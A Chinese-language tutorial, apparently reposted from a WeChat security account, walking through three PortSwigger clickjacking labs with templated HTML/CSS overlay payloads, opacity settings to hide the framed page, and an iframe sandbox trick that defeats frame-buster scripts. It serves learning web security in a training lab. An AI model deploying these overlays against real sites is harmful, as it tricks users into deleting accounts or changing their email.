在本节中,将解释什么是点击劫持,描述点击劫持攻击的常见示例,并讨论如何防范这些攻击。
如何构建基本的点击劫持攻击?
点击劫持攻击使用CSS创建和操作图层,攻击者将目标网站合并为覆盖在诱饵网站上的iframe层,使用样式标签和参数的示例如下:
目标网站iframe位于浏览器内,以便目标操作与使用适当宽度和高度位置值的诱饵网站精确重叠。无论屏幕大小、浏览器类型和平台如何,都使用绝对和相对位置值来确保目标网站准确地与诱饵重叠。
z-index确定iframe和网站层的堆叠顺序,不透明度值定义为0.0(或接近0.0),以便iframe内容对用户透明。浏览器点击劫持保护可能会应用基于阈值的iframe透明度检测(例如,Chrome版本76包含此行为,但Firefox没有)。攻击者选择不透明度值,以便在不触发保护行为的情况下达到预期效果。
场景试验-具有CSRF令牌保护的基本点击劫持:
https://portswigger.net/web-security/clickjacking/lab-basic-csrf-protected
场景说明:
这个试验场景包含登录功能和受CSRF令牌保护的删除账户按钮,用户将点击诱饵网站上显示"click"一词的元素。
试验目的:
要完成这个试验,需要制作一些HTML来框住账户页面并欺骗用户删除他们的账户。
场景提供了可供使用的账号wiener:peter。
攻击过程:
①用提供的账号进行登录,可以看到里面有"Delete account"的按钮
②打开"exploit server",将下面代码复制到Body位置
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="$url"></iframe>
③几处需要替换的地方:
●$url替换成试验网页用户登录后URL
●$height_value和$side_value建议设置成700px和500px
●$top_value和$side_value建议先设置成300px和60px,后续可以再进行调整
●$opacity在调试时可以设置为0.1,在攻击时设置为0.0001
④点击"Store"后再点击"View exploit",看下"Click me"的位置是否可"Delete account"重叠,如果不重叠的话适当调整$top_value和$side_value的值,最终使两者重叠在一起
⑤修改下$opacity的值为0.0001,保存后点击"Deliver exploit to vicitim"即可完成试验。
试验小结:
虽然我们可以像试验场景中这样手动创建点击劫持,但在实际操作中是相当乏味且耗时的。当在野外测试点击劫持时,建议使用Burp的Clickbandit工具,这可以使用浏览器在可框架页面上执行所需的操作,然后创建一个包含合适的点击劫持覆盖的HTML文件。可以使用它在几秒内生成交互证明,而无需编写单行HTML或CSS。
使用预填表单输入进行点击劫持
一些需要表单完成和提交的网站允许在提交之前使用GET参数预填充表单输入。
其他网站在提交表单之前可能需要文本,由于GET值构成URL的一部分,因此可以修改目标URL以包含攻击者选择的值,并且在诱饵站点上覆盖透明的“提交”按钮,就像在基本的点击接触示例中一样。
场景试验-使用从URL参数预填充的表单输入数据进行点击劫持:
https://portswigger.net/web-security/clickjacking/lab-prefilled-form-input
场景说明:
这个试验场景具有CSRF令牌保护的基本点击劫持。该试验场景的目标是通过使用URL参数预填充表单并诱使用户无意中单击"Update email"按钮来更改用户的电子邮件地址。
试验目的:
要完成这个试验,需要制作一些HTML来框住账户页面,并通过点击"Click me"诱饵来欺骗用户更新他们的电子邮件地址以完成试验。
场景提供了可供使用的账号wiener:peter。
攻击过程:
①用提供的账号进行登录,可以看到里面有"Update email"的按钮
②打开"exploit server",将下面代码复制到Body位置
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="[email protected]"></iframe>
③几处需要替换的地方:
●$url替换成试验网页用户登录后URL,里面包含"Update email"按钮
●$height_value和$width_value建议设置成700px和500px
●$top_value和$side_value建议先设置成400px和80px,后续可以再进行调整
●$opacity在调试时可以设置为0.1,在攻击时设置为0.0001
④点击"Store"后再点击"View exploit",看下"Click me"的位置是否可"Delete account"重叠,如果不重叠的话适当调整$top_value和$side_value的值,最终使两者重叠在一起
⑤修改下$opacity的值为0.0001,保存后点击"Deliver exploit to vicitim"即可完成试验。
帧破坏脚本
只要网站可以被陷害,点击劫持攻击就可能发生。因此,预防性技术基于限制网站的框架能力。通过Web浏览器实施的常见客户端保护是使用帧破坏或帧中断脚本。
这些可以通过专有的浏览器JavaScript插件或NoScript等扩展来实现。
脚本通常经过精心设计,以便它们执行以下部分或全部行为:
●检查并强制当前应用程序窗口是主窗口或顶部窗口。
●使所有框架可见。
●防止点击不可见的框架。
●拦截并向用户标记潜在的点击劫持攻击。
帧破坏技术通常是特定于浏览器和平台的,并且由于HTML的灵活性,它们通常可以被攻击者规避。由于帧破坏器是JavaScript,因此浏览器的安全设置可能会阻止他们的操作,或者实际上浏览器甚至不可能不支持JavaScript。针对帧破坏者的有效攻击解决方法是使用HTML5 iframe沙箱属性。当使用allow-forms或allow-scripts值设置它并且省略allow-top-navigation值时,可以中和frame buster脚本,因为iframe无法检查它是否是顶部窗口:
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>
allow-forms和allow-scripts值都允许iframe中的指定操作,但禁用顶级导航。这会抑制框架破坏行为,同时允许目标站点内的功能。
场景试验-使用帧破坏脚本进行点击劫持:
https://portswigger.net/web-security/clickjacking/lab-frame-buster-script
场景说明:
这个试验场景受到框架破坏器的保护,可防止网站框架被破坏。
试验目的:
要完成这个试验,需要制作一些HTML来框住账户页面,并通过点击"Click me"诱饵来欺骗用户更新他们的电子邮件地址以完成试验。
场景提供了可供使用的账号wiener:peter。
攻击过程:
①用提供的账号进行登录,可以看到里面有"Update email"的按钮
②打开"exploit server",将下面代码复制到Body位置
<style>
iframe {
position:relative;
width:$width_value;
height:$height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms"
src="[email protected]"></iframe>
③后续步骤和上个试验一样,调整位置参数使"Click me"与"Update email"重叠,发送给受害者即可完成试验。
SQL注入攻击-检索隐藏的数据
HTTP Host头漏洞攻击-概念梳理
原文始发于微信公众号(H君网安白话):点击劫持攻击-攻击示例(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论